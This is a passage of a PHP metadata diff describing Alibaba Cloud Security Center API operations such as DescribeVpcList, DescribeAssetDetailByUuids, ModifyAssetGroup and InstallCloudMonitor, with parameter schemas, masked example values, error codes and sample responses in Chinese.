'type' => 'string', + 'example' => '47.96.XX.XX', + ], + 'MultiValues' => [ + 'description' => '输入的模糊匹配值对应的资产的具体结构化属性值。JSON格式，包含以下字段：'."\n" + ."\n" + .'- **vendor**：供应商'."\n" + .'- **regionIds**：支持地域', + 'type' => 'string', + 'example' => '[{"vendor":0,"regionIds":{"default":["ap-southeast-1","ap-northeast-2","ap-southeast-3","ap-southeast-5","ap-southeast-7","me-central-1"]}},{"vendor":1,"regionIds":{"default":["outside-of-aliyun"]}}]', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"8E6DDACF-99AF-5939-AFFD-FCCD3B01E724\\",\\n \\"CriteriaList\\": [\\n {\\n \\"Type\\": \\"input\\",\\n \\"Name\\": \\"internetIp\\",\\n \\"Values\\": \\"47.96.XX.XX\\",\\n \\"MultiValues\\": \\"[{\\\\\\"vendor\\\\\\":0,\\\\\\"regionIds\\\\\\":{\\\\\\"default\\\\\\":[\\\\\\"ap-southeast-1\\\\\\",\\\\\\"ap-northeast-2\\\\\\",\\\\\\"ap-southeast-3\\\\\\",\\\\\\"ap-southeast-5\\\\\\",\\\\\\"ap-southeast-7\\\\\\",\\\\\\"me-central-1\\\\\\"]}},{\\\\\\"vendor\\\\\\":1,\\\\\\"regionIds\\\\\\":{\\\\\\"default\\\\\\":[\\\\\\"outside-of-aliyun\\\\\\"]}}]\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 8E6DDACF-99AF-5939-AFFD-FCCD3B01E724\\n \\n input\\n internetIp\\n 47.96.XX.XX\\n \\n","errorExample":""}]', + 'title' => '查询资产时的查询条件', + ], + 'DescribeVpcList' => [ + 'summary' => '查询云安全中心防护的VPC列表信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Count' => [ + 'description' => '查询到的VPC信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'VpcList' => [ + 'description' => 'VPC信息列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'InstanceDesc' => [ + 'description' => 'VPC实例的描述。', + 'type' => 'string', + 'example' => 'TestVpcNote', + ], + 'InstanceName' => [ + 'description' => '实例名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'EcsCount' => [ + 'description' => 'ECS服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + 'InstanceId' => [ + 'description' => '实例的ID。', + 'type' => 'string', + 'example' => 'ins_1321_asedb_ada', + ], + 'RegionId' => [ + 'description' => '服务器所在的地域。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"Count\\": 1,\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"VpcList\\": [\\n {\\n \\"InstanceDesc\\": \\"TestVpcNote\\",\\n \\"InstanceName\\": \\"test\\",\\n \\"EcsCount\\": 9,\\n \\"InstanceId\\": \\"ins_1321_asedb_ada\\",\\n \\"RegionId\\": \\"cn-hangzhou\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n\\n ins_1321_asedb_ada\\n vpc\\n vpc\\n 9\\n 2\\n 1\\n\\n7E0618A9-D5EF-4220-9471-C42B5E92719F\\n1\\n","errorExample":""}]', + 'title' => '查询VPC列表', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeAssetDetailByUuids' => [ + 'summary' => '查询资产（ECS服务器）的详细信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '91991', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '资产实例的UUID列表。多个UUID之间使用半角逗号（,）分隔。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '0687b17f-2a36-4e5****,0687b17f-2a36-4e****'."\n", + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '92016EC8-D52D-49D8-9FF7-9EA340A950B9', + ], + 'AssetList' => [ + 'description' => '返回的资产详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '返回的资产详情。', + 'type' => 'object', + 'properties' => [ + 'InternetIp' => [ + 'description' => '服务器的公网IP。', + 'type' => 'string', + 'example' => '10.10.XX.XX', + ], + 'OsName' => [ + 'description' => '服务器资产的操作系统名称。', + 'type' => 'string', + 'example' => 'CentOS 7.6 64位', + ], + 'Ip' => [ + 'description' => '服务器的IP。'."\n" + ."\n" + .'> 公网IP存在则该值为公网IP，公网IP不存在私网IP存在则为私网IP。'."\n", + 'type' => 'string', + 'example' => '10.10.XX.XX', + ], + 'Os' => [ + 'description' => '服务器的操作系统类型。', + 'type' => 'string', + 'example' => 'Linux', + ], + 'InstanceId' => [ + 'description' => '资产的实例ID。', + 'type' => 'string', + 'example' => 'i-rj9gda4wolo0zixi****', + ], + 'ClientStatus' => [ + 'description' => 'Agent客户端状态。取值：'."\n" + .'- **online**：在线'."\n" + .'- **offline**：离线', + 'type' => 'string', + 'example' => 'online', + ], + 'VpcInstanceId' => [ + 'description' => 'VPC实例ID。', + 'type' => 'string', + 'example' => '13231-331331', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'AssetType' => [ + 'description' => '资产的类型。'."\n" + ."\n" + .'唯一取值为**0**，表示ECS服务器。', + 'type' => 'string', + 'example' => '0', + ], + 'RegionId' => [ + 'description' => '服务器所在地域。'."\n" + .'> Region ID和区域名称的对应关系，请参见[地域和可用区](~~40654~~)。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + 'Uuid' => [ + 'description' => '资产UUID。', + 'type' => 'string', + 'example' => '2a98f149-0256-414c-a29a-a69f8a75****', + ], + 'Flag' => [ + 'description' => '资产厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'RegionName' => [ + 'description' => '服务器所在地域名称。', + 'type' => 'string', + 'example' => 'cn-shenzhen', + ], + 'InstanceName' => [ + 'description' => '资产的实例名称。', + 'type' => 'string', + 'example' => 'TestInstanceName', + ], + 'Region' => [ + 'description' => '服务器所在的地域。', + 'type' => 'string', + 'example' => 'cn-guangzhou', + ], + 'CpuInfo' => [ + 'description' => 'CPU详细信息。', + 'type' => 'string', + 'example' => 'Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz', + ], + 'OsDetail' => [ + 'description' => '服务器的操作系统版本位数。', + 'type' => 'string', + 'example' => 'Linux 64bit', + ], + 'CreateTime' => [ + 'description' => '云安全中心记录当前资产信息的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1603863599000', + ], + 'Kernel' => [ + 'description' => '操作系统的内核版本。', + 'type' => 'string', + 'example' => '4.18.0-80.11.2.el8_0.x86_64', + ], + 'Bind' => [ + 'description' => '资产是否已绑定授权。取值：'."\n" + ."\n" + .'- **true**：已绑定授权'."\n" + .'- **false**：未绑定授权', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Tag' => [ + 'description' => '服务器的标签。', + 'type' => 'string', + 'example' => 'test', + ], + 'Mem' => [ + 'description' => '内存大小，单位为GB。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'Memory' => [ + 'description' => '内存大小，单位为MB。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1024', + ], + 'AuthVersion' => [ + 'description' => '资产的授权版本。取值：'."\n" + ."\n" + .'- **1**：免费版（未授权）'."\n" + .'- **6**：防病毒版'."\n" + .'- **5**：高级版'."\n" + .'- **3**：企业版'."\n" + .'- **7**：旗舰版', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + 'GroupTrace' => [ + 'description' => '服务器所属的分组。未设置分组的服务器默认属于**未分组**。', + 'type' => 'string', + 'example' => 'default', + ], + 'HostName' => [ + 'description' => '主机名称。', + 'type' => 'string', + 'example' => 'test', + ], + 'AuthModifyTime' => [ + 'description' => '资产授权绑定的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1627974044000', + ], + 'SysInfo' => [ + 'description' => '服务器的操作系统信息。', + 'type' => 'string', + 'example' => 'CentOS Linux 8.0.1905', + ], + 'Cpu' => [ + 'description' => 'CPU内核数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'ClientVersion' => [ + 'description' => 'Agent客户端的版本。', + 'type' => 'string', + 'example' => '2.0.0', + ], + 'IpList' => [ + 'description' => '服务器的IP地址列表。', + 'type' => 'array', + 'items' => [ + 'description' => '服务器的IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + ], + 'MacList' => [ + 'description' => 'MAC地址列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'MAC地址。', + 'type' => 'string', + 'example' => '00:16:3*:1*:9*:cf', + ], + ], + 'DiskInfoList' => [ + 'description' => '磁盘信息集合。', + 'type' => 'array', + 'items' => [ + 'description' => '磁盘信息。以下是磁盘相关参数的说明：'."\n" + .'- **diskName**：磁盘名称。'."\n" + .'- **totalSize**：磁盘总容量，单位为GB。'."\n" + .'- **useSize**：已使用磁盘容量，单位为GB。'."\n" + .'- **useSizeByte**：已使用磁盘容量，单位为Byte。'."\n" + .'- **totalSizeByte**：已使用磁盘容量，单位为Byte。', + 'type' => 'string', + 'example' => '{diskName: "/dev/vda1", useSizeByte: 2998996992, totalSize: 40, useSize: 2, totalSizeByte: 42140479488}', + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'GetAssetDetailFail', + 'errorMessage' => 'Asset detail service has failed due to some unknown error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"92016EC8-D52D-49D8-9FF7-9EA340A950B9\\",\\n \\"AssetList\\": [\\n {\\n \\"InternetIp\\": \\"10.10.XX.XX\\",\\n \\"OsName\\": \\"CentOS 7.6 64位\\",\\n \\"Ip\\": \\"10.10.XX.XX\\",\\n \\"Os\\": \\"Linux\\",\\n \\"InstanceId\\": \\"i-rj9gda4wolo0zixi****\\",\\n \\"ClientStatus\\": \\"online\\",\\n \\"VpcInstanceId\\": \\"13231-331331\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"AssetType\\": \\"0\\",\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"Uuid\\": \\"2a98f149-0256-414c-a29a-a69f8a75****\\",\\n \\"Flag\\": 0,\\n \\"RegionName\\": \\"cn-shenzhen\\",\\n \\"InstanceName\\": \\"TestInstanceName\\",\\n \\"Region\\": \\"cn-guangzhou\\",\\n \\"CpuInfo\\": \\"Intel(R) Xeon(R) Platinum 8163 CPU @ 2.50GHz\\",\\n \\"OsDetail\\": \\"Linux 64bit\\",\\n \\"CreateTime\\": 1603863599000,\\n \\"Kernel\\": \\"4.18.0-80.11.2.el8_0.x86_64\\",\\n \\"Bind\\": true,\\n \\"Tag\\": \\"test\\",\\n \\"Mem\\": 4,\\n \\"Memory\\": 1024,\\n \\"AuthVersion\\": 7,\\n \\"GroupTrace\\": \\"default\\",\\n \\"HostName\\": \\"test\\",\\n \\"AuthModifyTime\\": 1627974044000,\\n \\"SysInfo\\": \\"CentOS Linux 8.0.1905\\",\\n \\"Cpu\\": 4,\\n \\"ClientVersion\\": \\"2.0.0\\",\\n \\"IpList\\": [\\n \\"192.168.XX.XX\\"\\n ],\\n \\"MacList\\": [\\n \\"00:16:3*:1*:9*:cf\\"\\n ],\\n \\"DiskInfoList\\": [\\n \\"{diskName: \\\\\\"/dev/vda1\\\\\\", useSizeByte: 2998996992, totalSize: 40, useSize: 2, totalSizeByte: 42140479488}\\"\\n ]\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询资产的详情', + ], + 'DescribeImageStatistics' => [ + 'summary' => '查询容器镜像资产的风险统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D', + ], + 'InstanceCount' => [ + 'description' => '您资产中的容器镜像数量（仅统计企业版容器镜像实例）。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'RiskInstanceCount' => [ + 'description' => '您资产中存在安全风险的容器镜像数量（仅统计企业版容器镜像实例）。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D\\",\\n \\"InstanceCount\\": 5,\\n \\"RiskInstanceCount\\": 2\\n}","errorExample":""},{"type":"xml","example":"\\n 5\\n 4E5BFDCF-B9DD-430D-9DA4-151BCB581C9D\\n 2\\n","errorExample":""}]', + 'title' => '查询容器镜像资产的风险统计信息', + 'description' => '云安全中心仅支持扫描容器镜像服务**企业版实例**的容器镜像安全风险并提供统计数据。'."\n" + .'> 云安全中心不支持扫描容器镜像服务**默认实例**的容器镜像安全风险，也不会提供**默认实例**相关的统计数据。', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeContainerStatistics' => [ + 'summary' => '查询容器资产的告警统计数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'Cccfd68c474454665ace07efce924****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '21DA46CA-2DCE-4FF6-907D-D5DBBB7518C8', + ], + 'Data' => [ + 'description' => '容器资产告警的详细统计数据。', + 'type' => 'object', + 'properties' => [ + 'TotalNode' => [ + 'description' => '当前容器集群总节点个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '12', + ], + 'RemindAlarmCount' => [ + 'description' => '风险级别为**提醒**的告警个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TotalAlarmCount' => [ + 'description' => '当前容器集群的安全告警总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '6', + ], + 'SuspiciousAlarmCount' => [ + 'description' => '风险级别为**可疑**的告警个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'SeriousAlarmCount' => [ + 'description' => '风险级别为**紧急**的告警个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'hasRiskNode' => [ + 'description' => '当前容器集群中存在告警的节点个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'no permission', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"21DA46CA-2DCE-4FF6-907D-D5DBBB7518C8\\",\\n \\"Data\\": {\\n \\"TotalNode\\": 12,\\n \\"RemindAlarmCount\\": 1,\\n \\"TotalAlarmCount\\": 6,\\n \\"SuspiciousAlarmCount\\": 3,\\n \\"SeriousAlarmCount\\": 2,\\n \\"hasRiskNode\\": 4\\n }\\n}","errorExample":""},{"type":"xml","example":"\\n 21DA46CA-2DCE-4FF6-907D-D5DBBB7518C8\\n \\n 12\\n 1\\n 4\\n 6\\n 2\\n 3\\n \\n","errorExample":""}]', + 'title' => '查询容器资产的告警统计数据', + 'description' => '仅购买了容器镜像服务企业版实例的用户可以调用该接口。', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyAssetGroup' => [ + 'summary' => '修改资产群组。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '10.12.XX.XX', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '修改后服务器的分组ID。'."\n" + .'> 您可调用[DescribeAllGroups](~~DescribeAllGroups~~)接口获取服务器的分组ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '9586199', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '要修改分组的服务器的UUID。多个UUID使用半角逗号（,）分隔。'."\n" + .'> 您可调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => true, + 'example' => '076a446d-df7d-424c-bdc5-bb5dc7f1****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C2677612-7207-4AEB-BD48-8BA528F86777', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"C2677612-7207-4AEB-BD48-8BA528F86777\\"\\n}","errorExample":""},{"type":"xml","example":"\\n C2677612-7207-4AEB-BD48-8BA528F86777\\n","errorExample":""}]', + 'title' => '修改资产群组', + 'description' => '本接口用于修改服务器的分组。您可以使用本接口修改一台或者多台服务器的分组。在您使用[CreateOrUpdateAssetGroup](~~CreateOrUpdateAssetGroup~~)接口创建分组之后，如果您想修改服务器的分组，您可以调用本接口进行操作。'."\n" + ."\n" + .'### QPS限制'."\n" + .'本接口的单用户QPS限制为10次/秒。超过限制，API调用会被限流，这可能会影响您的业务，请合理调用。', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'InstallCloudMonitor' => [ + 'summary' => '为指定服务器安装云监控插件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + ], + 'parameters' => [ + [ + 'name' => 'ArgusVersion', + 'in' => 'query', + 'schema' => [ + 'title' => '云监控版本', + 'description' => '要安装的云监控插件的版本。您可以通过[插件概览](~~183431~~)获取最新的云监控插件版本。', + 'type' => 'string', + 'required' => true, + 'example' => '3.5.6', + 'enum' => [], + ], + ], + [ + 'name' => 'AgentAccessKey', + 'in' => 'query', + 'schema' => [ + 'title' => '非阿里云主机安装云监控插件时所需要的AccessKey', + 'description' => '安装云监控插件时所需要的AccessKey。您可以调用[DescribeMonitoringAgentAccessKey](~~114948~~)接口获取该参数。'."\n" + ."\n" + .'> 仅非阿里云服务器安装云监控插件需要设置此参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'usY*****R_U', + ], + ], + [ + 'name' => 'AgentSecretKey', + 'in' => 'query', + 'schema' => [ + 'title' => '非阿里云主机安装云监控插件时所需要的AccessSecret', + 'description' => '安装云监控插件时所需要的AccessSecret。您可以调用[DescribeMonitoringAgentAccessKey](~~114948~~)接口获取该参数。'."\n" + .'> 仅非阿里云服务器安装云监控插件需要设置此参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'UCxF2R1sIO90XlU9****', + ], + ], + [ + 'name' => 'InstanceIdList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '实例 instanceId', + 'description' => '要安装云监控插件的服务器的实例ID列表。多个ID之间使用半角逗号（,）分隔。', + 'type' => 'array', + 'items' => [ + 'description' => '要安装云监控插件的服务器的实例ID列表。多个ID之间使用半角逗号（,）分隔。'."\n" + ."\n" + .'> InstanceIdList、UuidList这两个参数必须要至少设置一个，接口才能调用成功。当这两个参数同时设置时，安装云监控插件的服务器为这两个参数对应的服务器的并集。', + 'type' => 'string', + 'required' => false, + 'example' => '[VMware-564d4e22ce6d9207-c97c8af3a448****,VMware-564d4a9574e0b8ab-843ba10d8b0c****,VMware-564dbb7fddaf27ce-629271166745****]', + ], + 'required' => false, + 'maxItems' => 20, + 'minItems' => 0, + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => 'uuid 列表', + 'description' => '要安装云监控插件的服务器的UUID列表。多个UUID之间使用半角逗号（,）分隔。', + 'type' => 'array', + 'items' => [ + 'description' => '要安装云监控插件的服务器的UUID列表。多个UUID之间使用半角逗号（,）分隔。'."\n" + .'> InstanceIdList、UuidList这两个参数必须要至少设置一个，接口才能调用成功。当这两个参数同时设置时，安装云监控插件的服务器为这两个参数对应的服务器的并集。', + 'type' => 'string', + 'required' => false, + 'example' => '[inet-c669e5d9-0adf-4d71-a9ce-65ed2730****,inet-2e87cce8-763d-4dcd-b39f-d592e1b0****,inet-7c676676-06fa-442e-90fb-b802e5d6****]', + ], + 'required' => false, + 'maxItems' => 20, + 'minItems' => 0, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F92AFB96-FACC-57E7-928E-678D04B94CAE', + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'false', + ], + 'Code' => [ + 'description' => '接口调用失败的错误码。', + 'type' => 'string', + 'example' => 'IllegalParam', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'There was an error with your request.', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '400', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'ConsoleError', + 'errorMessage' => 'The error message is %s %s.', + ], + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'MachineNotExist', + 'errorMessage' => 'The machine does not exist.', + ], + [ + 'errorCode' => 'AgentNotOnline', + 'errorMessage' => 'The agent not online.', + ], + [ + 'errorCode' => 'InvalidParam', + 'errorMessage' => 'There was an error with your request.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F92AFB96-FACC-57E7-928E-678D04B94CAE\\",\\n \\"Success\\": false,\\n \\"Code\\": \\"IllegalParam\\",\\n \\"Message\\": \\"There was an error with your request.\\",\\n \\"HttpStatusCode\\": 400\\n}","errorExample":""},{"type":"xml","example":"\\n F92AFB96-FACC-57E7-928E-678D04B94CAE\\n false\\n IllegalParam\\n There was an error with your request.\\n 400\\n","errorExample":""}]', + 'title' => '安装云监控插件', + 'description' => '> 安装前请确保您的服务器上的云安全中心客户端在线，并且您的服务器的网络可以正常访问阿里云服务。', + ], + 'DescribeSasPmAgentList' => [ + 'summary' => '查询运维插件状态列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的UUID。多个UUID之间使用半角逗号（,）分隔。', + 'type' => 'string', + 'required' => true, + 'example' => 'inet-cb7ae5ee-b2bc-4581-b616-62495f5d****,inet-37cf0e4f-55cc-4b84-8073-b348b4b4****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '返回的requestId。', + 'type' => 'string', + 'example' => '8EF3ACC2-9400-5B64-B72D-4A1D35113750', + ], + 'SasPmAgentList' => [ + 'description' => '查询结果列表。', + 'type' => 'array', + 'items' => [ + 'description' => '分析结果列表。', + 'type' => 'object', + 'properties' => [ + 'AliyunAssistId' => [ + 'title' => '云助手全局唯一Id', + 'description' => 